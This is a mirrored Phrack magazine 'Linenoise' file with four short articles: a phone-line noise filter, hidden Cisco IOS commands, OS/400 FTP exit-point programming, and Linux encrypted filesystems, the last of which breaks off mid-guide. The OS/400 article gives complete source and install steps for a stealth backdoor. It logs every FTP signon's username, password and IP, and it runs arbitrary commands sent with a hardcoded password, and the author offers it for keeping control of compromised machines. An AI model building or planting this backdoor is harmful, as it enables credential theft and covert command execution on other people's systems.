mirrors
/
phrack
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity
phrack/phrack56/3.txt

1489 lines
54 KiB
Plaintext
Raw Permalink Blame History

- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x03[0x10]
|----------------------------- L I N E N O I S E -----------------------------|
|-----------------------------------------------------------------------------|
|------------------------------- phrack staff --------------------------------|
Phrack Linenoise is a hodge-podge. Part virtual Mr. Bobo'z table, part
Leftorium; Linenoise is where articles that can't quit make it end up.
Some of the various reasons things end up here:
- Addendum and Errata
There is a section in Linenoise specifically for corrections and additions
to previous articles. Feedback to articles, however, is alwayz placed in the
savory loopback section.
- Too short
Articles that are just a bit too short to stand on their own, but still
contain worthwhile information can end up here.
- Niche audience
The articles that cater to a narrow group of readerz might also end up here.
|0x01|------------------------------------------------------------------------|
|------------ data connections on old electromechanical exchanges ------------|
|TOKATA & Vladi <lv_tokata@yahoo.com>-----------------------------------------|
In many poor countries (such as Bulgaria) there are still a lot of old
electromechanical switches - SxS (step-by-step), Panel and Crossbar. Maybe
some Phrack readers from these countries download the Phrack releases through
these switches. So, I think it is useless to explain the quality of such
lines. They are damned noisy, mf!
So, with the help of a friend, we developed a new device, a simple one at that,
which makes a better data connection. It increases the quality some 30 - 40%!
We have successfully tested it with many modems (from 2400bps to 33600bps):
DataLink, SunShine, UMC, Rockwell, US Robotics... It _will_ work!
Notes:
- This device *only* works on 60V switches. AFAIK, those are the only SxS
switches around.
- List of exchanges (used in Bulgaria), on which this device works:
SxS --> A-29 (Siemens), F-61 (maybe Siemens too), ATS-54 (Russian)
Xbar --> KRS 103/203 (bulgarian), ATSK - 50 (russian)
For Russian people it's quite easy, because we use almost the exact same
exchanges (such as ATS-54 and ATSK-50).
- The device DON'T work on these exchanges:
- ESK - 10000E (also known as Crosspoint, made by Siemens)
- "Kvant" (Russian)
- EWSD, AXE, MT, ESS (and all the digital exchanges)
The schematic is very simple:
2
__o
/ S
o----/ o-----|
| 1 |
o----|--------------|-------o
| |
| |
o-----------| |-------------o
C
K -->
C --> capacitor. Use a 1uF one (maximum)! You can put a smaller one,
but _NOT_ put more than 1uF!!!
S --> DPST switch. "1" is position 1, and "2" is position 2.
DPST
On the schematic you _must_ :-) see the two phone wires. They have the
capacitor and the switched connected to them.
So, what is the use of the DPST switch?
When you begin to dial the switch must be moved to (1). That will shunt the
capacitor, otherwise you would not be able to dial through the phone line.
When the connection is estabilished - move the switch to (2) in order to join
the capacitor. Gotit?
Theory of operation
All the noise on the old switches springs up from the electromechanical
switching process. Our device (the capacitor) is used as a filter of low
frequencies (including nasty brooms, which really fuck up data connections).
- TOKATA & Vladi <lv_tokata@yahoo.com>
|0x02|------------------------------------------------------------------------|
|------------------------- Undocumented IOS Commands -------------------------|
|krnl-------------------------------------------------------------------------|
Introduction
Here are some commands in cisco systems' Internetworking Operating System
which are hidden from users at any privilege level. Some are informative,
while others are rather mundane. Some will even lock the router if invoked
incorrectly. This list is a subset of all hidden commands. Descriptions
of commands are included where possible. All were tested on a box running
12.0-6S.
exec commands
@clear profile (clear cpu profiling)
@debug ip ospf monitor
@debug oir (debug online insertion and removal)
@debug par mo (debug parser modes)
@debug sanity (debug buffer pool sanity)
@debug subsys (debug discrete subsystems)
@debug buffer (additional buffer debugging)
@gdb kernel
@gdb examine pid
@gdb debug pid
@if-console [<slot>] [console|debug]
@profile <start> <stop> <granularity>.
@sh chunk (show chunks of memory allocated to processes)
@sh chunk summ (show chunk allocation summary)
@sh idb (shows interface database)
@sh in stats (gives you switching path output per interface)
@sh ip ospf maxage-list
@sh ip ospf delete-list
@sh ip ospf statistic
@sh ip ospf bad-checksum
@sh ip ospf event
@sh isis timers
@sh isis tree IS-IS link state database AVL tree
@sh isis tree level-2
@sh isis private
@sh profile [detail|terse] (show cpu profiling)
@sh parser modes (shows current process access-tree.)
@sh parser unresolv (shows unresolved links in access-tree)
@sh list
@sh list none
@sh region (shows image layout)
@sh region <address> (shows image layout at given address)
@sh timers (show timers for timer command in config mode)
@sh int <INT> switching (shows switching path information for the interface)
@sh proc all-events (shows all process events)
@sh sum (show current stored image checksum)
@test transmit (test the transmission of L2 frames)
configuration mode commands
@boot system rom
@boot module
@exception-slave dump X.X.X.X
@exception-slave protocol tftp
@exception-slave corefile
@ip slow-convergence
@ip tftp boot-interface
@loopback diag
@loopback dec (at dec chip)
@loopback test
@loopback micro-linear
@loopback motorola
@scheduler max-task-time 200 (last val in milliseconds)
@scheduler heapcheck process (memory validation.. after proc)
@scheduler heapcheck poll (memory valid after some poll)
@scheduler run-degraded (perhaps in a failure mode?)
@service internal
@service slave-coredump
@service log backtrace (provides traceback with every logging instance)
@tunnel carry-security
in bgp config:
@neighbor ctalkb-out filter-as 100 d
% filter-as is an obsolete subcommand, use filter-list instead
in router isis config:
@partition-avoidance
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
@clear profile
clears out the current CPU profiling configuration.
@debug buffer
as with buffer sanity checking, no debugging information on lightly
loaded box.
ctalkb#debug buffer
Additional buffer checking debugging is on
@debug ip ospf monitor
provides information on the status of the ospf process in the debugging
logs.
ctalkb#debug ip ospf monitor
OSPF spf monitoring debugging is on
2w3d: OSPF: Syncing Routing table with OSPF Database
-Traceback= 6064B628 603B6D2C 603B6D18
2w3d: OSPF: Completed Syncing and runtime is 4 msec
-Traceback= 6064B65C 603B6D2C 603B6D18
2w3d: OSPF: Start redist-scanning
-Traceback= 6064AC20 6062B430 603B6D2C 603B6D18
2w3d: OSPF: Scan for both redistribution and translation
-Traceback= 6064AC60 6062B430 603B6D2C 603B6D18
2w3d: OSPF: End scanning, Elapsed time 0ms
-Traceback= 6064B13C 6062B430 603B6D2C 603B6D18
2w3d: OSPF: Syncing Routing table with OSPF Database
-Traceback= 6064B628 603B6D2C 603B6D18
ctalkb#debug oir
Online Insertion and Removal debugging is on
2w3d: OIR: Process woke, 'Event', stall=2, usec=0xB6835B36
-Traceback= 6040967C 603B6D2C 603B6D18
2w3d: OIR: Shutdown pulled interface for Serial5/0
-Traceback= 600E30C4 60409204 604096C8 603B6D2C 603B6D18
2w3d: %OIR-6-REMCARD: Card removed from slot 5, interfaces disabled
-Traceback= 60409748 603B6D2C 603B6D18
2w3d: OIR: Remove hwidbs for slot 5
-Traceback= 60409368 60409750 603B6D2C 603B6D18
2w3d: OIR: Process woke, 'Event(max not running)', stall=3,
usec=0xD0115C9E
-Traceback= 6040967C 603B6D2C 603B6D18
2w3d: OIR: Process woke, 'Timer(max running)', stall=3, usec=0xDDBB56D6
-Traceback= 6040967C 603B6D2C 603B6D18
2w3d: OIR: (Re)Init card 5, retry_count=3
-Traceback= 60409894 603B6D2C 603B6D18
2w3d: %OIR-6-INSCARD: Card inserted in slot 5, interfaces administratively
shut down
-Traceback= 604098BC 603B6D2C 603B6D18
@debug par mo (debug parser modes)
this is used to show what is happening at the parser at specific
instances. it will show you a basic walkthrough of the lookups needed
to process the cli commands
ctalkb#debug par mo
Parser mode debugging is on
00:54:40: Look up of parser mode 'controller' succeeded
00:54:40: Look up of parser mode 'route-map' succeeded
@debug sanity
couldn't get any diagnostic information on this. router is not
heavily loaded so there isn't much buffer churn and burn to
contend with.
ctalkb#debug sanity
Buffer pool sanity debugging is on
@debug subsys
subsystem information indicates a code segment and its version. when
i had debugging on, i tried reloading the system microcode. this did
not cause any interesting debugging information.
ctalkb#debug sub
Subsystem debugging is on
@debug oir
extended online insertion and removal debugging information.
@gdb kernel
i couldn't get this to do much besides render the router inoperable.
there seems to be no interface comparable to the stock gnu debugger.
perhaps there are additional parameters that i am missing. this applies
to all of the debugger subcommands found.
ctalkb#gdb ker
Kernel GDB allowed on console terminal only
ctalkb#gdb ex 91
||||(lock up)
@gdb debug pid
ctalkb#
ctalkb#gdb debug 91
Can't debug your own process
ctalkb#
@if-console [<slot>] [console|debug]
no output since i don't have a viper router or 12XXX. however,
this is one of the most interesting hidden commands available for the
cisco. it allows you to get on a card console (i.e. per individual slot
instead of per individual chassis) and print out extended diagnostic
and debugging information on the specific card. you enter the card
in unpriv mode and need to enable before seeing all of the commands.
@profile <start> <stop> <granularity>.
you can setup cpu profiling in the exec mode with the
profile command. process profiling allows you to find which segment
of code is perhaps hogging the CPU.. what you really need to get use
out of this feature is a symbol table so you can pull the location of
the appropriate segment of code. the segment is defined by the start
and stop values given to the profile command. the granularity specifier
allows you to get down to single instruction level.
the cpu has its own internal timer that is incremented regardless
of whether the desired segment of code is executed. when the desired
segment of code is executed, a per-profile counter is incremented.
comparison of this counter with the overall system timer allows you to
get some handle on how much of the cpu the specific segment is using.
ctalkb#profile ?
task
start
stop
hogs
<0-FFFFFFFF>
@show chunk (show chunks of memory allocated to processes)
there is the traditional malloc/free memory management in place
on the cisco. there is also chunk allocation. the main benefit
of chunk allocation over its predecessor is that memory overhead
is only paid by the large chunk (which is then carved up into
smaller pieces) instead of by each individual malloced block.
ctalkb#sh chunk
Chunk Manager:
142 chunks created, 1 chunks destroyed
46 siblings created, 0 siblings trimmed
Chunk element Block Maximum Element Element Total
cfgsize Ohead size element inuse freed Ohead Name
16 0 65532 3270 717 2553 8 List Elements
0x61525688
52 0 65532 1168 0 1168 0 List Headers
0x61535684
16 0 65532 3270 0 3270 8 messages 0x61550068
@show chunk summ
summary listing of allocated chunks. shows you big chunk size, the
number of siblings divided up within that chunk space as well as
the overhead taken by the chunk.
ctalkb#sh chunk sum
Chunk Manager:
142 chunks created, 1 chunks destroyed
46 siblings created, 0 siblings trimmed
Element Sibling size Total Total Total Inuse Ovrhd Chunk
Flag size(b) --range(b)-- Siblg alloc Free HWM (b) name
D 16 253- 752 0 3270 2553 724 8 ListElements
D 52 1003- 1502 0 1168 1168 0 0 List Headers
D 16 253- 752 0 3270 3270 21 8 messages
D 8 253- 752 0 5450 3974 1476 8 Reg Function
8
@sh idb
This command shows the hardware and software interface databases.
this is cisco's way of keeping track of how many interfaces are present
on the system.. includes hardware and software interfaces (physical,
subinterfaces etc). there is a software limit of 1024 i believe in
ios 11 and 2048 in ios 12. this is a global limit for the router.
output:
ctalkb#sh idb
19 SW IDBs allocated (2296 bytes each)
9 HW IDBs allocated (4008 bytes each)
HWIDB#1 1 FastEthernet0/0 (Ether)
HWIDB#2 2 Serial2/0:0 (Serial)
HWIDB#3 3 Ethernet3/0 (Ether)
HWIDB#4 4 Ethernet3/1 (Ether)
HWIDB#5 5 Ethernet3/2 (Ether)
HWIDB#6 6 Ethernet3/3 (Ether)
HWIDB#7 7 Serial4/0 (Serial)
HWIDB#8 8 Serial5/0 (Serial)
HWIDB#9 9 Loopback0
@sh in stats (gives you switching path output per interface)
Ethernet3/0
Switching path Pkts In Chars In Pkts Out Chars Out
Processor 786433 594121827 556812 177400752
Route cache 107469 8910774 107451 8925784
Total 893902 603032601 664263 186326536
@sh int e3/0 switching
goes over some of the basic processes and the data that they are
processing. shows what switching paths were used for the specific
data counted. basic processes == IP and routing processes. others
are lumped into the default category.
ctalkb#sh int e3/0 switching
Ethernet3/0
Throttle count 0
Drops RP 0 SP 0
SPD Flushes Fast 0 SSE 0
SPD Aggress Fast 0
SPD Priority Inputs 972 Drops 0
Protocol Path Pkts In Chars In Pkts Out Chars Out
Other Process 0 0 167 10020
Cache misses 0
Fast 0 0 0 0
Auton/SSE 0 0 0 0
IP Process 4556 282352 3733 541124
Cache misses 0
@sh ip ospf maxage-list
don't have ospf running.. would seem that this command shows you
the current value of the max-lsa age. there is some periodic refresh
which needs to be accounted for.
ctalkb#sh ip ospf max
AS System N
Maxage delete timer due in NEVER
@sh ip ospf delete-list
this command shows you the lsas which have been deleted from
consideration. as i don't have ospf running, i can't ascertain whether
this is lsas which were taken out of consideration by the SPF algorithm
or by other means.
ctalkb#sh ip ospf delet
AS System N
Area BACKBONE(0)
ROUTER and NETWORK LSDB delete list
Dest: 172.16.0.1, Type: 0, Metric: 1, ADV RTR: 172.16.0.1
Path:
gateway 172.16.0.1, interface Loopback0
SUMMARY NET and ASBR LSDB delete list
TYPE-7 EXTERNAL LSDB delete list
EXTERNAL LSDB delete list
@sh ip ospf statistic
this is a really handy command because it gives you time averages of
different portions of the ospf process. this is useful in that it further
lets you pin down IGP convergence times on your network as well as to
isolate the areas which are causing the process to chug.
ctalkb#sh ip ospf stat
Area 0: SPF algorithm executed 1 times
SPF calculation time
Delta T Intra D-Intra Summ D-Summ Ext D-Ext Total Reason
2w3d 0 0 0 0 0 0 0 R,
Avg. and Accumulated time of the last 250 process_ase()
Avg. Accumulated
ASBR-lookup 0, 0
Forw-Addr-lookup 0, 0
compare metric 0, 0
... (more)
@sh ip ospf bad-checksum
shows LSAs which have failed the checksum.
not sure if this is a count or actual event times since i didn't
have ospf functioning.
@sh ip ospf event
provides a history lists of subprocess function execution.. useful so that
the operator can understand a bit more about the execution flow
ctalkb#sh ip ospf eve
1 54700 Generic: ospf_redist_callback 0x618B36A4
2 114716 Generic: ospf_redist_callback 0x618B36A4
3 174736 Generic: ospf_redist_callback 0x618B36A4
4 234756 Generic: ospf_redist_callback 0x618B36A4
5 294772 Generic: ospf_redist_callback 0x618B36A4
6 320796 Generic: ospf_build_ex_lsa 0xC658FF00
7 320796 Generic: ospf_build_ex_lsa 0xAC100000
8 320796 Generic: ospf_build_ex_lsa 0xD16F5C00
@sh isis timers
useful in that it provides a brief overview of execution flow
in the isis process. shows you frequency of things like l1/l2 hello
etc.
ctalkb#sh isis timers
Hello Process
Expiration Type
| 0.856 (Parent)
| 0.856 L2 Hello (Ethernet3/0)
| 6.352 L1 Hello (Ethernet3/0)
| 6.940 Adjacency
Update Process
Expiration Type
| 1.060 (Parent)
| 1.060 Ager
| 1.352 L2 CSNP (Ethernet3/0)
| 8.616 L1 CSNP (Ethernet3/0)
| 3:25.860 (Parent)
| 3:25.860 LSP refresh
| 9:02.160 LSP lifetime
| 9:24.568 LSP lifetime
| 17:16.084 LSP lifetime
| 20:58.536 Dynamic Hostname cleanup
@sh isis tree IS-IS link state database AVL tree
shows path and depth taken to get to other level 1/2 intermediate
systems in some routing domain. shows both by default.
ctalkb#sh isis tree
IS-IS Level-2 AVL Tree
Current node = X.X.X.00-00, depth = 0, bal = 0
Go down left
Current node = X.X.Y.00-00, depth = 1, bal = 0
---> Hit node X.X.Y.00-00
Back up to X.X.X.00-00
Current node = X.X.X.00-00, depth = 0, bal = 0
---> Hit node X.X.X.00-00
Go down right
Current node = X.X.X.02-00, depth = 1, bal = 0
---> Hit node X.X.X.02-00
Back up to X.X.X.00-00
@sh isis private
displays a little diagnostic information related to the isis process.
ctalkb#sh isis private
ISIS: FastPSNP cache (hits/misses): 0/4002
ISIS: LSPIX validations (full/skipped): 216271/490412
ISIS: LSP HT=0 checksum errors received: 0
ctalkb#
@sh list
perhaps a singly linked list manager which displays global
pointer to the first element in each linked list as well as the
number of members in each list.
ctalkb# sh list
List Manager:
1415 lists known, 1561 lists created
ID Address Size/Max Name
1 613EE970 11/- Region List
2 613EEE98 1/- Processor
3 613EFDE8 1/- I/O
4 613F0D38 1/- I/O-2
5 6149EDD0 0/- Sched Critical
6 6149ED90 0/- Sched High
7 6149EB00 0/- Sched Normal
@sh list none
ctalkb# sh list none
List Manager:
1415 lists known, 1561 lists created
ID Address Size/Max Name
1 613EE970 11/- Region List
2 613EEE98 1/- Processor
3 613EFDE8 1/- I/O
4 613F0D38 1/- I/O-2
9 6149ED10 82/- Sched Idle
11 61499A50 8/- Sched Normal (Old)
12 6149CC10 1/- Sched Low (Old)
@sh parser modes (shows current process access-tree.)
ctalkb#sh par mo
Parser modes:
Name Prompt Top Alias Privilege
exec 0x60EFB294TRUE TRUE
configure config 0x60EFABACTRUE TRUE
interface config-if 0x60EF7AECTRUE TRUE
subinterface config-subif 0x60EF7AECTRUE FALSE
null-interface config-if 0x60EFB368TRUE TRUE
line config-line 0x60EF3F84TRUE TRUE
@sh parser un
ctalkb#sh parser un
Unresolved parse chains:
40
40
198
198
322
@sh proc all-events
ctalkb#sh proc all-events
Queue Notifications
Event Name Pid 1 Process
61588410 Pool Grows 4 Pool Manager ct
0
615A156C Log Messages 19 Logger ct
0
615EE8A0 IPC inboundQ 11 IPC Seat Manager ct
0
615EE934 IPC Zone inboundQ 9 IPC Zone Manager ct
0
61642840 ARP queue 12 ARP Input ct
0
@sh profile [detail|terse] (show cpu profiling)
ctalkb#sh prof d
Profiling enabled
Block 0: start = 91, end = FFF, increment = 8, EXEC
Total = 0
System total = 9802
ctalkb#sh prof t
PROF 91 FFF 8
PROFTOT 10065
ctalkb#
@sh region (shows image layout)
displays the program layout for the uncompressed image.
ctalkb#sh region
Region Manager:
Start End Size(b) Class Media Name
0x07800000 0x07FFFFFF 8388608 Iomem R/W iomem2
0x20000000 0x21FFFFFF 33554432 Iomem R/W iomem
0x57800000 0x57FFFFFF 8388608 Iomem R/W iomem2:(iomem2_cwt)
0x60000000 0x677FFFFF 125829120 Local R/W main
0x60008900 0x6123AC29 19079978 IText R/O main:text
0x6123C000 0x6136A17F 1237376 IData R/W main:data
0x6136A180 0x6152565F 1815776 IBss R/W main:bss
0x61525660 0x677FFFFF 103655840 Local R/W main:heap
@sh region <address>
picking a random location within memory shows what segment that
specific address falls under. same info can be gleaned from the
root command.
ctalkb#sh region a 0x07800000
Address 0x07800000 is located physically in :
Name : iomem2
Class : Iomem
Media : R/W
Start : 0x07800000
End : 0x07FFFFFF
Size : 0x00800000
@sh sum
this takes the compressed image and computes its checksum. this is
compared with the previously stored checksum to ensure integrity.
ctalkb#sh sum
New checksum of 0x36D03E96 matched original checksum
ctalkb#
@sh timers (show timers for timer command in config mode)
ctalkb#sh tim
State Handle interval due invoked missed Process
@test transmit (test the transmission of L2 frames)
this command allows you to send the specified number of frames
to the specified destination:
ctalkb#test transmit
interface: Ethernet3/0
total frame size [100]:
1) To this interface
2) To another interface
9) Ask for everything
Choice: 2
Encapsulation Type:
1) Ethertype
2) SAP
3) SNAP
4) SNAP (Cisco OUI)
5) SNAP (EtherV2 OUI)
6) Novell 802.3
Choice: 1
Protocol type:
1) IP
2) XNS
3) IPX
9) Ask for everything
Choice: 1
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
(in config mode)
@boot system rom
if the system has an image burned in on rom, this command allows you to
revert to that image instead of the image stored on some other secondary
media (flash card).
ctalkb(config)#boot system rom
The 'boot system rom' command is not valid for this platform.
It has been translated to 'boot system flash bootflash:'
@boot module
the command is there, but it doesn't seem to do anything besides barf.
00:34:02: %PARSER-3-BADSUBCMD: Unrecognized subcommand 11 in configure
command 'boot module a'
@exception-slave dump X.X.X.X
informs the router where to dump the core image.
@exception-slave protocol tftp
tells the router what protocol to use when dumping the core image.
@exception-slave corefile
tells the router what to name the corefile. note that this corefile
has to be at least 666 on the tftp server for the router to be able to
write it.
@ip slow-convergence
i haven't been able to see any difference in the router performance after
enabling this command. regardless, it does not look like a command which
would improve the router performance.
@ip tftp boot-interface
tells the router what interface to find its image in the case that it
wants to boot net via tftp.
@loopback diag
all of these loopback commands allow you to loop the hardware at
specific points so that you can isolate hardware faults. e.g. this
is not just a loopback net and loopback local command set. also,
not all pieces of hardware can be looped at all the below points.
@loopback dec (at dec chip)
@loopback test
@loopback micro-linear
@loopback motorola
@scheduler max-task-time 200 (last val in milliseconds)
this knob allows you to set the number of milliseconds a specific
process is on CPU before it reports debugging information. a relatively
easy way to report which process is hogging. sh proc cpu is obviously
the best way to track down cpu hogs while on the router, but this command
allows you to track down more insidious hogs.
00:13:18: %SYS-3-CPUHOG: Task ran for 308 msec (3/1), process = Virtual
Exec, PC = 603C9AD8.
@scheduler heapcheck process (memory validation.. after proc)
@scheduler heapcheck poll (memory valid after some poll)
@scheduler run-degraded (perhaps in a failure mode?)
causes the scheduler to attempt to keep running even in the face of some
sort of fatal process error. the default action of IOS is to have this
knob turned off and to crash the router upon the recognition of a fatal
error. this is done on a per-process basis. obviously, some processes
are more critical than others and moving the offending process out of the
scheduler won't really buy you any time or information.
@service internal
this is a really nifty command. turning it on in global configuration
mode allows you to view some previously hidden commands. turn it on
by default and you will eventually find some extras.
some commands are not even accessible unless this is turned on.
(sh proc all-events fex)
@service slave-coredump
this allows you to dump core when applicable to some slave
machine for logging purposes. this does take a long time depending
on the amount of memory in the router (copying 128MB with varying
link speeds. you do the math). it is important to note that this
copying occurs before the router enters usable mode, so you basically
have added quite a bit of delay into the reload time. the
exception-slave commands inform the router where to dump the core image.
@service log backtrace (provides traceback with every logging instance)
-Traceback= 603C9AE0 603546C0 60354A48 6035CA58 6035C3F4 6035C34C 60373EBC
603B6D2C 603B6D18
in bgp config:
@neighbor ctalkb-out filter-as 100 d
% filter-as is an obsolete subcommand, use filter-list instead
this is a nifty command in that it gives you a little more insight
into whats happening. i would prefer this command even though it
has been deprecated in favor of the filter-list command. reasoning:
this command is more specific.
in router isis config:
@partition-avoidance
not quite sure what this does since i don't have a complex isis setup to test.
|0x03|------------------------------------------------------------------------|
|----------------------- OS/400 Exit Point Programming -----------------------|
|clever <clever@dhp.com>------------------------------------------------------|
Introduction
Exit points enable programmers to embed custom logic in otherwise
non-configurable system functions. At a certain stage of its execution, a
program with an exit point will execute the programs which have been
registered with its exit point, passing relevant parameters to the called
programs. At that time, the exit point program can do anything it likes with
the parameters passed to it and modify the behavior of the calling program by
passing back values, if it decides to do so.
Exit point programming is somewhat esoteric. Most people who deal with
the AS/400 are not aware of the existence of exit points, and most of those
who know about them do not use them. System administrators who care about
security have used them since they became available to improve system
security by logging things like user profile creation or limiting the use of
system facilities to a subset of the users who could ordinarily make use of
them.
Suppose that you have gained access to a typical AS/400 system. Its
administrators are concerned about security, but they lack a consistent
security plan and the skill to implement it, even if they did. Even so, the
misconfiguration that allows you to gain access may be noticed and fixed at
any time. A new user profile would probably be spotted. You need a way to
retain control over the machine that won't be noticed by most people. Exit
points do most of the work for you.
One exit point present in the ftp server software is "FTP Server Logon",
named QIBM_QTMF_SVR_LOGON. Its parameter format is TCPL0100.
TCPL0100:
Application Identifier 4B Input
User Identifier * Input
User Identifier length 4B Input
Authentication String * Input
Authentication String length 4B Input
Client IP Address * Input
Client IP Address length 4B Input
Return Code 4B Output
User Profile 10A Output
Password 10A Output
Initial Current Library 10A Output
The parameters marked 'Input' are set by and received from the system; these
fields contain user signon information, which we should log. The only
output parameter about which we care in this instance is 'Return Code',
which we must set to 1, telling the system to proceed with authentication
and that the password provided must match the actual password of the user
profile for authentication to succeed. Other return code values cause the
system to do various things that you might find useful. Consult the
documentation if you are curious.
So.
1. ftp> open x.x.x.x
Connected to x.x.x.x.
220-QTCP at x.x.x.
220 Connection will close if idle more than 5 minutes.
Name (x.x.x.x:root): werd
331 Enter password.
Password: f.u.c.k.493
2. The exit program is called. The server passes it the parameters mentioned
above.
3. The exit program does whatever it likes. It sets the 'Output' parameters,
if it likes. The exit program returns.
4. The server considers the parameters passed back to it and does whatever
is indicated by those parameters.
Below is a stripped-down version of one tool I use for this. It isn't
hidden. It should only be used on boxes whose administrators are somewhere
between 'Don't Care' and 'Making A Clumsy Effort At Security'.
That is to say, most of them.
Names/types.
F01 RPGLE
F02 CLLE
FP PF
Creating.
CRTPF FILE(x/FP) SRCFILE(x/x) TEXT(*BLANK)
CRTRPGMOD MODULE(x/F01) SRCFILE(x/x) DBGVIEW(*NONE) OUTPUT(*NONE)
CRTCLMOD MODULE(x/F02) SRCFILE(x/x) OUTPUT(*NONE) LOG(*NO) DBGVIEW(*NONE)
CRTPGM PGM(x/F) MODULE(x/F01 x/F02) TEXT(*BLANK) ALWUPD(*NO) USRPRF(*OWNER)
DLTMOD MODULE(x/F01)
DLTMOD MODULE(x/F02)
Put F and FP somewhere QTCP can find them. QUSRSYS, maybe.
Register x/F with QIBM_QTMF_SVR_LOGON using WRKREGINF.
Restart ftp.
Using.
The command goes in the user field. The special authorization string goes
in the password field. Normal signons get logged in FP. Ignore the
error; data area TEST does get created in QGPL.
ftp> open x.x.x.x
Connected to x.x.x.x.
220-QTCP at x.x.x.
220 Connection will close if idle more than 5 minutes.
Name (x.x.x.x:root): crtdtaara qgpl/test *dec
331 Enter password.
Password: itsmeclever
530 Log on attempt by user CRTDTAARA rejected.
ftp: Login failed.
Remote system type is .
ftp>
Code.
(F01)
FFP O A E DISK
D S c 'itsmeclever'
D
DParms pr extpgm('F01')
D AppID 9b 0
D UsrID 100a
D UsrIDLen 9b 0
D AutStr 32a
D AutStrLen 9b 0
D ClntIP 15a
D ClntIPLen 9b 0
D Rcd 9b 0
D UsrPrf 10a
D Pwd 10a
D InlCurLib 10a
D
DParms pi
D AppID 9b 0
D UsrID 100a
D UsrIDLen 9b 0
D AutStr 32a
D AutStrLen 9b 0
D ClntIP 15a
D ClntIPLen 9b 0
D Rcd 9b 0
D UsrPrf 10a
D Pwd 10a
D InlCurLib 10a
D
DLog pr
D Type 10a value
D Text 200a value
D
DExcCmd pr
D Cmd 100a value
C if %subst(AutStr:1:AutStrLen) = S
C callp ExcCmd(%subst(UsrID:1:UsrIDLen))
C eval *inlr = *on
C return
C endif
C
C callp Log('FTP':
C %subst(UsrID:1:UsrIDLen)+ ' '+
C %subst(AutStr:1:AutStrLen)+ ' '+
C %subst(ClntIP:1:ClntIPLen))
C
C eval Rcd = 1
C
C eval *inlr = *on
C return
PLog b
D pi
D Type 10a value
D Text 200a value
C time FPTS
C eval FPTYPE = Type
C eval FPTEXT = Text
C
C write FPR
P e
PExcCmd b
D pi
D Cmd 100a value
C callb 'F02'
C parm Cmd
P e
- - - - - - - - - -
(F02)
PGM PARM(&COMMAND)
DCL VAR(&COMMAND) TYPE(*CHAR) LEN(100)
MONMSG MSGID(CPF0000) EXEC(GOTO CMDLBL(ERROR))
CHGJOB LOG(0 99 *NOLIST) LOGCLPGM(*NO)
CALL PGM(QCMDEXC) PARM(&COMMAND 100)
ERROR:
ENDPGM
- - - - - - - - - -
(FP)
A R FPR
A FPTS 14S 0
A FPTYPE 10A
A FPTEXT 200A
Hope this helps someone.
clever <clever@dhp.com>
20000222
|0x04|------------------------------------------------------------------------|
|---------------------- Linux and Encrypted Filesystems ----------------------|
|phunda mental <phundie@yahoo.com>--------------------------------------------|
Most people don't realize it, but Linux has incredibly robust support
for encrypted filesystems. This functionality is not present in the
stock kernel due to U.S. export regulations, but it can be easily
added by obtaining the patchset for your kernel version from
www.kerneli.org.
In this article, I will present a quick introduction to setting up
strong encryption within the Linux kernel, and then I will present
a few configurations that allow for seperatly encrypted home directories
for each user, encrypted disk partitions, etc.
First, you must download util-linux-2.9e.tar.gz[1], and the kernel
source patches. For the purposes of this article, I'll assume you are
running kernel 2.2.4; therefore you would get patch-int-2.2.4.1.gz[2].
In /usr/src do ln -s linux lin.2.2.4 (the patch expects this to be
the name of the source directory) and apply the patch with
zcat patch-int-2.2.4.1.gz | patch -p0.
Now look in linux/Documentation/crypto. There are some patches in
there to Linux utilities. Unpack the util-linux distro, apply the
necessary patch, and build the new utilities. You'll need to install
the new losetup and mount commands. Remember that mount needs to be
suid root if you want users to have the ability to mount encrypted
volumes.
Now build a kernel with make menuconfig, and take a look at the dox in the
Documentation/crypto directory. You'll notice that the kernel patches
give support for Blowfish, DES, DFC, IDEA, MARS, RC6 and Serpent. These
ciphers can be used by the networking code, or the loopback device.
The loopback device also has special support for CAST128 and Twofish.
Once you have your new kernel up and running, you can make a blowfish
encrypted volume like so:
$ dd if=/dev/zero of=vol.img bs=1024 count=2000
$ losetup -e blowfish /dev/loop0 vol.img
Losetup will prompt you for a passphrase. This passphrase is hashed with
RIPEMD-160 in order to key the cipher.
$ mkfs.ext2 /dev/loop0
$ losetup -d /dev/loop0 #disconnect the loopback device
All of the preceding commands can be issued as a user, to actually
mount the volume, you will need root status, or the appropriate line
in /etc/fstab.
# mount vol.img /mnt -o encryption=blowfish
Mount will prompt you for a passphrase, enter the one you gave to
losetup, and the volume will get mounted on /mnt.
In order for user joe to mount ~/.img on ~/secure
a line in fstab like this is needed:
/home/joe/.img /home/joe/secure ext2 noauto,user,rw,exec,encryption=blowfish
Now joe can mount his volume with the command "mount ~/secure".
A similar tactic can be used to have joe's entire home directory
encrypted.
Make a directory called /usr/imgs/joe and let the directory "joe" be
owned by user joe. Place an encrypted img called home.img in /usr/imgs/joe
and modify /etc/profile to check if the user's home directory image
exists, and if it does, mount the encrypted image onto /home/$USER
(if it is not already mounted). Then, all that is needed is an
appropriate line in /etc/fstab to allow joe to mount onto /home/joe.
I personally use this scheme to keep my home directory encrypted on
my machines. When I log in, /etc/profile gets executed and it asks
me for the passphrase needed to mount my home directory. A crontab
periodically runs and tries to unmount my home directory, so that
when I log out and any jobs I left running end, my home directory will
get unmounted.
If you use xdm to automatically launch X on boot up, then you will
need to modify Xsession in the xdm directory to launch an xterm
that executes the mount command so that the user can mount his home
directory before his ~/.xsession gets executed.
Consistent with the UNIX philosophy that a device is a file, Loopback
encryption also works for block devices.
To encrypt disk partitions, Linux will need a small unencrypted root
partition (just enough for the kernel, /dev, /etc, /lib and the basic
binaries), maybe 15 or 20 meg.
/dev/hda2 will contain a filesystem that houses /usr, /var, /home and
whatever else you have. It will get mounted on /fs/hda2. You can set this
filesystem up like so:
$ losetup -e blowfish /dev/loop0 /dev/hda2
$ mkfs.ext2 /dev/loop0
$ mount /dev/loop0 /fs/hda2
Now you can copy all of /usr and everything to /fs/hda2 and just symlink
/fs/hda2/usr to /usr so that everything works. Alternatively, if you
have seperate partitions for /usr, /var, and /tmp you can set them
up as individual partitions.
Set up your fstab as follows:
